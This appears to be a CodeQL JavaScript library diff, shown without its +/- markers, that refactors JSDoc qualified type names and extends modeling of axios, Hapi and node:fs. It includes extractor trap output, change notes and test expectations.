jsdoc_tag_names(#20190,"w")
|
||||
#20192=*
|
||||
jsdoc_type_exprs(#20192,10,#20190,0,"[type]")
|
||||
#20193=@"loc,{#10000},32,13,32,18"
|
||||
locations_default(#20193,#10000,32,13,32,18)
|
||||
#20193=@"loc,{#10000},30,13,30,18"
|
||||
locations_default(#20193,#10000,30,13,30,18)
|
||||
hasLocation(#20192,#20193)
|
||||
#20194=*
|
||||
jsdoc_type_exprs(#20194,5,#20192,0,"type")
|
||||
#20195=@"loc,{#10000},32,14,32,17"
|
||||
locations_default(#20195,#10000,32,14,32,17)
|
||||
#20195=@"loc,{#10000},30,14,30,17"
|
||||
locations_default(#20195,#10000,30,14,30,17)
|
||||
hasLocation(#20194,#20195)
|
||||
#20196=*
|
||||
jsdoc(#20196,"",#20018)
|
||||
hasLocation(#20196,#20019)
|
||||
#20197=*
|
||||
jsdoc_tags(#20197,"exports",#20196,0,"@exports")
|
||||
#20198=@"loc,{#10000},36,3,36,10"
|
||||
locations_default(#20198,#10000,36,3,36,10)
|
||||
hasLocation(#20197,#20198)
|
||||
jsdoc_tag_descriptions(#20197,"R
|
||||
jsdoc_tags(#20196,"param",#20189,1,"@param")
|
||||
#20197=@"loc,{#10000},31,4,31,9"
|
||||
locations_default(#20197,#10000,31,4,31,9)
|
||||
hasLocation(#20196,#20197)
|
||||
jsdoc_tag_descriptions(#20196,"[description]
|
||||
")
|
||||
#20199=*
|
||||
jsdoc(#20199,"",#20020)
|
||||
hasLocation(#20199,#20021)
|
||||
#20198=*
|
||||
jsdoc_tags(#20198,"return",#20189,2,"@return")
|
||||
#20199=@"loc,{#10000},32,4,32,10"
|
||||
locations_default(#20199,#10000,32,4,32,10)
|
||||
hasLocation(#20198,#20199)
|
||||
jsdoc_tag_descriptions(#20198,"[description]")
|
||||
#20200=*
|
||||
jsdoc_tags(#20200,"typedef",#20199,0,"@typedef")
|
||||
#20201=@"loc,{#10000},41,4,41,11"
|
||||
locations_default(#20201,#10000,41,4,41,11)
|
||||
jsdoc_type_exprs(#20200,10,#20198,0,"[type]")
|
||||
#20201=@"loc,{#10000},32,13,32,18"
|
||||
locations_default(#20201,#10000,32,13,32,18)
|
||||
hasLocation(#20200,#20201)
|
||||
#20202=*
|
||||
jsdoc_type_exprs(#20202,9,#20200,0,"{0: number}")
|
||||
#20203=@"loc,{#10000},41,14,41,24"
|
||||
locations_default(#20203,#10000,41,14,41,24)
|
||||
jsdoc_type_exprs(#20202,5,#20200,0,"type")
|
||||
#20203=@"loc,{#10000},32,14,32,17"
|
||||
locations_default(#20203,#10000,32,14,32,17)
|
||||
hasLocation(#20202,#20203)
|
||||
jsdoc_record_field_name(#20202,0,"0")
|
||||
#20204=*
|
||||
jsdoc_type_exprs(#20204,5,#20202,0,"number")
|
||||
#20205=@"loc,{#10000},41,18,41,23"
|
||||
locations_default(#20205,#10000,41,18,41,23)
|
||||
hasLocation(#20204,#20205)
|
||||
toplevels(#20001,0)
|
||||
#20206=@"loc,{#10000},1,1,43,0"
|
||||
locations_default(#20206,#10000,1,1,43,0)
|
||||
hasLocation(#20001,#20206)
|
||||
jsdoc(#20204,"",#20018)
|
||||
hasLocation(#20204,#20019)
|
||||
#20205=*
|
||||
jsdoc_tags(#20205,"exports",#20204,0,"@exports")
|
||||
#20206=@"loc,{#10000},36,3,36,10"
|
||||
locations_default(#20206,#10000,36,3,36,10)
|
||||
hasLocation(#20205,#20206)
|
||||
jsdoc_tag_descriptions(#20205,"R
|
||||
")
|
||||
#20207=*
|
||||
entry_cfg_node(#20207,#20001)
|
||||
#20208=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20208,#10000,1,1,1,0)
|
||||
hasLocation(#20207,#20208)
|
||||
#20209=*
|
||||
exit_cfg_node(#20209,#20001)
|
||||
hasLocation(#20209,#20105)
|
||||
successor(#20207,#20209)
|
||||
jsdoc(#20207,"",#20020)
|
||||
hasLocation(#20207,#20021)
|
||||
#20208=*
|
||||
jsdoc_tags(#20208,"typedef",#20207,0,"@typedef")
|
||||
#20209=@"loc,{#10000},41,4,41,11"
|
||||
locations_default(#20209,#10000,41,4,41,11)
|
||||
hasLocation(#20208,#20209)
|
||||
#20210=*
|
||||
jsdoc_type_exprs(#20210,9,#20208,0,"{0: number}")
|
||||
#20211=@"loc,{#10000},41,14,41,24"
|
||||
locations_default(#20211,#10000,41,14,41,24)
|
||||
hasLocation(#20210,#20211)
|
||||
jsdoc_record_field_name(#20210,0,"0")
|
||||
#20212=*
|
||||
jsdoc_type_exprs(#20212,5,#20210,0,"number")
|
||||
#20213=@"loc,{#10000},41,18,41,23"
|
||||
locations_default(#20213,#10000,41,18,41,23)
|
||||
hasLocation(#20212,#20213)
|
||||
toplevels(#20001,0)
|
||||
#20214=@"loc,{#10000},1,1,43,0"
|
||||
locations_default(#20214,#10000,1,1,43,0)
|
||||
hasLocation(#20001,#20214)
|
||||
#20215=*
|
||||
entry_cfg_node(#20215,#20001)
|
||||
#20216=@"loc,{#10000},1,1,1,0"
|
||||
locations_default(#20216,#10000,1,1,1,0)
|
||||
hasLocation(#20215,#20216)
|
||||
#20217=*
|
||||
exit_cfg_node(#20217,#20001)
|
||||
hasLocation(#20217,#20105)
|
||||
successor(#20215,#20217)
|
||||
numlines(#10000,42,0,37)
|
||||
filetype(#10000,"javascript")
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
Enhanced `axios` support with new methods (`postForm`, `putForm`, `patchForm`, `getUri`, `create`) and added support for `interceptors.request` and `interceptors.response`.
|
||||
4
javascript/ql/lib/change-notes/2025-03-26-Hapi.md
Normal file
4
javascript/ql/lib/change-notes/2025-03-26-Hapi.md
Normal file
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Added support for the newer version of `Hapi` with the `@hapi/hapi` import and `server` function.
|
||||
@@ -0,0 +1,4 @@
|
||||
---
|
||||
category: minorAnalysis
|
||||
---
|
||||
* Improved modeling of the `node:fs` module: `await`-ed calls to `read` and `readFile` are now supported.
|
||||
12
javascript/ql/lib/ext/axios.model.yml
Normal file
12
javascript/ql/lib/ext/axios.model.yml
Normal file
@@ -0,0 +1,12 @@
|
||||
extensions:
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sinkModel
|
||||
data:
|
||||
- ["axios", "Member[interceptors].Member[request].Member[use].Argument[0].Parameter[0].Member[url]", "request-forgery"]
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
extensible: sourceModel
|
||||
data:
|
||||
- ["axios", "Member[interceptors].Member[response].Member[use].Argument[0].Parameter[0]", "response"]
|
||||
@@ -296,7 +296,7 @@ module DOM {
|
||||
.getType()
|
||||
.getAnUnderlyingType()
|
||||
.(JSDocNamedTypeExpr)
|
||||
.getName())
|
||||
.getRawName())
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -400,8 +400,8 @@ class ConstructorTag extends JSDocTag {
|
||||
abstract private class NamedTypeReferent extends JSDocTag {
|
||||
/** Gets the name of the type to which this tag refers. */
|
||||
string getTarget() {
|
||||
result = this.getType().(JSDocNamedTypeExpr).getName() or
|
||||
result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getName()
|
||||
result = this.getType().(JSDocNamedTypeExpr).getRawName() or
|
||||
result = this.getType().(JSDocAppliedTypeExpr).getHead().(JSDocNamedTypeExpr).getRawName()
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -423,7 +423,7 @@ abstract private class NamedTypeReferent extends JSDocTag {
|
||||
* Gets the source declaration of the type to which `tp` refers, if any.
|
||||
*/
|
||||
private ExternalType sourceDecl(JSDocTypeExpr tp) {
|
||||
result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getName() or
|
||||
result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getRawName() or
|
||||
result = sourceDecl(tp.(JSDocAppliedTypeExpr).getHead()) or
|
||||
result = sourceDecl(tp.(JSDocNullableTypeExpr).getTypeExpr()) or
|
||||
result = sourceDecl(tp.(JSDocNonNullableTypeExpr).getTypeExpr()) or
|
||||
|
||||
@@ -261,17 +261,14 @@ class JSDocVoidTypeExpr extends @jsdoc_void_type_expr, JSDocTypeExpr {
|
||||
}
|
||||
|
||||
/**
|
||||
* A type expression referring to a named type.
|
||||
* An identifier in a JSDoc type expression, such as `Object` or `string`.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```
|
||||
* string
|
||||
* Object
|
||||
* ```
|
||||
* Note that qualified names consist of multiple identifier nodes.
|
||||
*/
|
||||
class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
/** Gets the name of the type the expression refers to. */
|
||||
class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr {
|
||||
/**
|
||||
* Gets the name of the identifier.
|
||||
*/
|
||||
string getName() { result = this.toString() }
|
||||
|
||||
override predicate isString() { this.getName() = "string" }
|
||||
@@ -300,6 +297,71 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
}
|
||||
|
||||
override predicate isRawFunction() { this.getName() = "Function" }
|
||||
}
|
||||
|
||||
/**
|
||||
* An unqualified identifier in a JSDoc type expression.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```
|
||||
* string
|
||||
* Object
|
||||
* ```
|
||||
*/
|
||||
class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr {
|
||||
JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A qualified type name in a JSDoc type expression, such as `X.Y`.
|
||||
*/
|
||||
class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
|
||||
/**
|
||||
* Gets the base of this access, such as the `X` in `X.Y`.
|
||||
*/
|
||||
JSDocTypeExpr getBase() { result = this.getChild(0) }
|
||||
|
||||
/**
|
||||
* Gets the node naming the member being accessed, such as the `Y` node in `X.Y`.
|
||||
*/
|
||||
JSDocIdentifierTypeExpr getNameNode() { result = this.getChild(1) }
|
||||
|
||||
/**
|
||||
* Gets the name being accessed, such as `Y` in `X.Y`.
|
||||
*/
|
||||
string getName() { result = this.getNameNode().getName() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A type expression referring to a named type.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```
|
||||
* string
|
||||
* Object
|
||||
* Namespace.Type
|
||||
* ```
|
||||
*/
|
||||
class JSDocNamedTypeExpr extends JSDocTypeExpr {
|
||||
JSDocNamedTypeExpr() {
|
||||
this instanceof JSDocLocalTypeAccess
|
||||
or
|
||||
this instanceof JSDocQualifiedTypeAccess
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the name directly as it appears in this type, including any qualifiers.
|
||||
*
|
||||
* For example, for `X.Y` this gets the string `"X.Y"`.
|
||||
*/
|
||||
string getRawName() { result = this.toString() }
|
||||
|
||||
/**
|
||||
* DEPRECATED. Use `getRawName()` instead.
|
||||
*/
|
||||
deprecated string getName() { result = this.toString() }
|
||||
|
||||
/**
|
||||
* Holds if this name consists of the unqualified name `prefix`
|
||||
@@ -310,8 +372,9 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
* - `Baz` has prefix `Baz` and an empty suffix.
|
||||
*/
|
||||
predicate hasNameParts(string prefix, string suffix) {
|
||||
not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate
|
||||
exists(string regex, string name | regex = "([^.]+)(.*)" |
|
||||
name = this.getName() and
|
||||
name = this.getRawName() and
|
||||
prefix = name.regexpCapture(regex, 1) and
|
||||
suffix = name.regexpCapture(regex, 2)
|
||||
)
|
||||
@@ -340,7 +403,7 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
globalName = this.resolvedName()
|
||||
or
|
||||
not exists(this.resolvedName()) and
|
||||
globalName = this.getName()
|
||||
globalName = this.getRawName()
|
||||
}
|
||||
|
||||
override DataFlow::ClassNode getClass() {
|
||||
|
||||
@@ -97,7 +97,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
|
||||
}
|
||||
|
||||
pragma[inline]
|
||||
predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
|
||||
predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
|
||||
exists(js::ConditionGuardNode g |
|
||||
g.getTest() = guard and
|
||||
g.dominates(bb) and
|
||||
|
||||
@@ -222,7 +222,10 @@ module ClientRequest {
|
||||
method = "request"
|
||||
or
|
||||
this = axios().getMember(method).getACall() and
|
||||
method = [httpMethodName(), "request"]
|
||||
method = [httpMethodName(), "request", "postForm", "putForm", "patchForm", "getUri"]
|
||||
or
|
||||
this = axios().getMember("create").getReturn().getACall() and
|
||||
method = "request"
|
||||
}
|
||||
|
||||
private int getOptionsArgIndex() {
|
||||
@@ -254,6 +257,8 @@ module ClientRequest {
|
||||
method = ["post", "put"] and
|
||||
result = [this.getArgument(1), this.getOptionArgument(2, "data")]
|
||||
or
|
||||
method = ["postForm", "putForm", "patchForm"] and result = this.getArgument(1)
|
||||
or
|
||||
result = this.getOptionArgument([0 .. 2], ["headers", "params"])
|
||||
}
|
||||
|
||||
|
||||
@@ -11,8 +11,8 @@ module Hapi {
|
||||
*/
|
||||
class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node {
|
||||
ServerDefinition() {
|
||||
// `server = new Hapi.Server()`
|
||||
this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation()
|
||||
// `server = new Hapi.Server()`, `server = Hapi.server()`
|
||||
this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation()
|
||||
or
|
||||
// `server = Glue.compose(manifest, composeOptions)`
|
||||
this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation()
|
||||
|
||||
@@ -599,7 +599,7 @@ module NodeJSLib {
|
||||
override DataFlow::Node getADataNode() {
|
||||
if methodName.matches("%Sync")
|
||||
then result = this
|
||||
else
|
||||
else (
|
||||
exists(int i, string paramName | fsDataParam(methodName, i, paramName) |
|
||||
if paramName = "callback"
|
||||
then
|
||||
@@ -610,6 +610,12 @@ module NodeJSLib {
|
||||
)
|
||||
else result = this.getArgument(i)
|
||||
)
|
||||
or
|
||||
exists(AwaitExpr await |
|
||||
this.getEnclosingExpr() = await.getOperand() and
|
||||
result = DataFlow::valueNode(await)
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -184,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
|
||||
or
|
||||
token.getName() = "DecoratedParameter" and
|
||||
result = node.getADecoratedParameter()
|
||||
or
|
||||
token.getName() = "GuardedRouteHandler" and
|
||||
result = getAGuardedRouteHandlerApprox(node)
|
||||
}
|
||||
|
||||
bindingset[node]
|
||||
pragma[inline_late]
|
||||
private API::Node getAGuardedRouteHandlerApprox(API::Node node) {
|
||||
// For now just get any routing node with the same root (i.e. the same web app), as
|
||||
// there are some known performance issues when checking if it is actually guarded by the given node.
|
||||
exists(JS::Routing::Node root |
|
||||
root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and
|
||||
root = JS::Routing::getNode(result.asSink()).getRootNode()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -317,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
|
||||
[
|
||||
"Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue",
|
||||
"NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter",
|
||||
"WithStringArgument"
|
||||
"WithStringArgument", "GuardedRouteHandler"
|
||||
]
|
||||
}
|
||||
|
||||
@@ -329,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
|
||||
name =
|
||||
[
|
||||
"AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call",
|
||||
"DecoratedClass", "DecoratedMember", "DecoratedParameter"
|
||||
"DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler"
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@@ -1001,7 +1001,7 @@ case @jsdoc_type_expr.kind of
|
||||
| 2 = @jsdoc_undefined_type_expr
|
||||
| 3 = @jsdoc_unknown_type_expr
|
||||
| 4 = @jsdoc_void_type_expr
|
||||
| 5 = @jsdoc_named_type_expr
|
||||
| 5 = @jsdoc_identifier_type_expr
|
||||
| 6 = @jsdoc_applied_type_expr
|
||||
| 7 = @jsdoc_nullable_type_expr
|
||||
| 8 = @jsdoc_non_nullable_type_expr
|
||||
@@ -1011,6 +1011,7 @@ case @jsdoc_type_expr.kind of
|
||||
| 12 = @jsdoc_function_type_expr
|
||||
| 13 = @jsdoc_optional_type_expr
|
||||
| 14 = @jsdoc_rest_type_expr
|
||||
| 15 = @jsdoc_qualified_type_expr
|
||||
;
|
||||
|
||||
#keyset[id, idx]
|
||||
|
||||
@@ -1334,10 +1334,14 @@
|
||||
<v>8</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@jsdoc_named_type_expr</k>
|
||||
<k>@jsdoc_identifier_type_expr</k>
|
||||
<v>18639</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@jsdoc_qualified_type_expr</k>
|
||||
<v>1000</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@jsdoc_applied_type_expr</k>
|
||||
<v>303</v>
|
||||
</e>
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,2 @@
|
||||
description: split up qualified names in jsdoc type exprs
|
||||
compatibility: partial
|
||||
@@ -1,5 +1,10 @@
|
||||
| bar.js:5:14:5:14 | x | x |
|
||||
| bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo |
|
||||
| bar.js:12:14:12:17 | iife | iife |
|
||||
| bar.js:12:14:12:21 | iife.Foo | IIFE.Foo |
|
||||
| closure.js:8:12:8:15 | goog | goog |
|
||||
| closure.js:8:12:8:19 | goog.net | goog.net |
|
||||
| closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType |
|
||||
| closure.js:9:12:9:14 | net | net |
|
||||
| closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType |
|
||||
| closure.js:10:12:10:19 | SomeType | goog.net.SomeType |
|
||||
|
||||
@@ -278,7 +278,11 @@ test_JSDocTypeExpr
|
||||
| tst.js:26:14:26:20 | boolean | tst.js:26:5:26:11 | @define | 0 |
|
||||
| tst.js:31:13:31:19 | boolean | tst.js:31:4:31:10 | @return | 0 |
|
||||
| tst.js:53:11:53:16 | number | tst.js:53:4:53:8 | @enum | 0 |
|
||||
| tst.js:68:14:68:17 | goog | tst.js:68:14:68:20 | goog.ds | 0 |
|
||||
| tst.js:68:14:68:20 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 |
|
||||
| tst.js:68:14:68:34 | goog.ds.BasicNodeList | tst.js:68:4:68:11 | @extends | 0 |
|
||||
| tst.js:68:19:68:20 | ds | tst.js:68:14:68:20 | goog.ds | 1 |
|
||||
| tst.js:68:22:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 |
|
||||
| tst.js:95:17:95:21 | Shape | tst.js:95:4:95:14 | @implements | 0 |
|
||||
| tst.js:110:14:110:18 | Shape | tst.js:110:4:110:11 | @extends | 0 |
|
||||
| tst.js:134:13:134:18 | Object | tst.js:134:4:134:10 | @return | 0 |
|
||||
@@ -298,7 +302,9 @@ test_JSDocTypeExpr
|
||||
| tst.js:216:15:216:29 | (string\|number) | tst.js:216:5:216:12 | @typedef | 0 |
|
||||
| tst.js:216:16:216:21 | string | tst.js:216:15:216:29 | (string\|number) | 0 |
|
||||
| tst.js:216:23:216:28 | number | tst.js:216:15:216:29 | (string\|number) | 1 |
|
||||
| tst.js:219:13:219:16 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 |
|
||||
| tst.js:219:13:219:27 | goog.NumberLike | tst.js:219:5:219:10 | @param | 0 |
|
||||
| tst.js:219:18:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 |
|
||||
| tst.js:223:12:223:36 | {myNum: number, myObject} | tst.js:223:5:223:9 | @type | 0 |
|
||||
| tst.js:223:20:223:25 | number | tst.js:223:12:223:36 | {myNum: number, myObject} | 0 |
|
||||
| tst.js:226:12:226:17 | number | tst.js:226:12:226:18 | number? | 0 |
|
||||
@@ -311,10 +317,18 @@ test_JSDocTypeExpr
|
||||
| tst.js:234:12:234:29 | function (): number | tst.js:234:4:234:9 | @param | 0 |
|
||||
| tst.js:234:24:234:29 | number | tst.js:234:12:234:29 | function (): number | -1 |
|
||||
| tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | tst.js:235:4:235:9 | @param | 0 |
|
||||
| tst.js:235:26:235:29 | goog | tst.js:235:26:235:32 | goog.ui | 0 |
|
||||
| tst.js:235:26:235:32 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 |
|
||||
| tst.js:235:26:235:37 | goog.ui.Menu | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | -2 |
|
||||
| tst.js:235:31:235:32 | ui | tst.js:235:26:235:32 | goog.ui | 1 |
|
||||
| tst.js:235:34:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 |
|
||||
| tst.js:235:40:235:45 | string | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | 0 |
|
||||
| tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | tst.js:236:4:236:9 | @param | 0 |
|
||||
| tst.js:236:25:236:28 | goog | tst.js:236:25:236:31 | goog.ui | 0 |
|
||||
| tst.js:236:25:236:31 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 |
|
||||
| tst.js:236:25:236:36 | goog.ui.Menu | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | -2 |
|
||||
| tst.js:236:30:236:31 | ui | tst.js:236:25:236:31 | goog.ui | 1 |
|
||||
| tst.js:236:33:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 |
|
||||
| tst.js:236:39:236:44 | string | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | 0 |
|
||||
| tst.js:237:12:237:48 | function (string, ...[number]): number | tst.js:237:4:237:9 | @param | 0 |
|
||||
| tst.js:237:21:237:26 | string | tst.js:237:12:237:48 | function (string, ...[number]): number | 0 |
|
||||
|
||||
@@ -5,6 +5,8 @@ test_isNumber
|
||||
test_QualifiedName
|
||||
| VarType | tst.js:9:13:9:19 | VarType |
|
||||
| boolean | tst.js:5:14:5:20 | boolean |
|
||||
| foo | tst.js:4:12:4:14 | foo |
|
||||
| foo.bar | tst.js:4:12:4:18 | foo.bar |
|
||||
| foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz |
|
||||
| number | tst.js:3:12:3:17 | number |
|
||||
| string | tst.js:2:12:2:17 | string |
|
||||
|
||||
@@ -103,6 +103,13 @@ test_ClientRequest
|
||||
| tst.js:334:5:334:25 | got.pag ... rl, {}) |
|
||||
| tst.js:337:5:337:20 | jsonClient.get() |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) |
|
||||
| tst.js:349:5:349:30 | axios.g ... url }) |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) |
|
||||
test_getADataNode
|
||||
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } |
|
||||
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} |
|
||||
@@ -146,6 +153,11 @@ test_getADataNode
|
||||
| tst.js:257:1:262:2 | form.su ... rs()\\n}) | tst.js:255:25:255:35 | 'new_value' |
|
||||
| tst.js:286:20:286:55 | new Web ... :8080') | tst.js:288:21:288:35 | 'Hello Server!' |
|
||||
| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:39:321:42 | data |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:24:345:27 | data |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:24:346:27 | data |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:26:347:29 | data |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:26:348:29 | data |
|
||||
test_getHost
|
||||
| tst.js:87:5:87:39 | http.ge ... host}) | tst.js:87:34:87:37 | host |
|
||||
| tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host |
|
||||
@@ -268,6 +280,14 @@ test_getUrl
|
||||
| tst.js:337:5:337:20 | jsonClient.get() | tst.js:336:41:336:43 | url |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:42:339:44 | url |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:61:339:63 | url |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:19:345:21 | url |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url |
|
||||
| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:18:349:29 | { url: url } |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:19:352:65 | {method ... "text"} |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:40:352:42 | url |
|
||||
test_getAResponseDataNode
|
||||
| axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true |
|
||||
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true |
|
||||
@@ -354,3 +374,10 @@ test_getAResponseDataNode
|
||||
| tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:5:334:25 | got.pag ... rl, {}) | text | true |
|
||||
| tst.js:337:5:337:20 | jsonClient.get() | tst.js:337:5:337:20 | jsonClient.get() | text | true |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:340:5:340:21 | jsonClient2.get() | text | true |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:5:345:28 | axios.p ... , data) | json | true |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true |
|
||||
| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:5:349:30 | axios.g ... url }) | json | true |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:5:352:66 | axiosIn ... text"}) | text | true |
|
||||
|
||||
@@ -339,3 +339,15 @@ function gotTests(url){
|
||||
const jsonClient2 = got.extend({url: url}).extend({url: url});
|
||||
jsonClient2.get();
|
||||
}
|
||||
|
||||
function moreAxiosTests(url, data, config){
|
||||
axios.postForm(url, data, config);
|
||||
axios.putForm(url, data);
|
||||
axios.putForm(url, data, config);
|
||||
axios.patchForm(url, data);
|
||||
axios.patchForm(url, data, config);
|
||||
axios.getUri({ url: url });
|
||||
|
||||
const axiosInstance = axios.create({});
|
||||
axiosInstance({method: "get", url: url, responseType: "text"});
|
||||
}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
const express = require('express');
|
||||
const app = express();
|
||||
const testlib = require('testlib');
|
||||
|
||||
app.get('/before', (req, res) => {
|
||||
sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware
|
||||
sink(req.injectedResData); // OK - wrong parameter
|
||||
|
||||
sink(res.injectedReqData); // OK - wrong parameter
|
||||
sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware
|
||||
});
|
||||
|
||||
app.use(testlib.middleware());
|
||||
|
||||
app.get('/after', (req, res) => {
|
||||
sink(req.injectedReqData); // NOT OK
|
||||
sink(req.injectedResData); // OK - wrong parameter
|
||||
|
||||
sink(res.injectedReqData); // OK - wrong parameter
|
||||
sink(res.injectedResData); // NOT OK
|
||||
});
|
||||
@@ -1,6 +1,10 @@
|
||||
legacyDataFlowDifference
|
||||
consistencyIssue
|
||||
taintFlow
|
||||
| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData |
|
||||
| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData |
|
||||
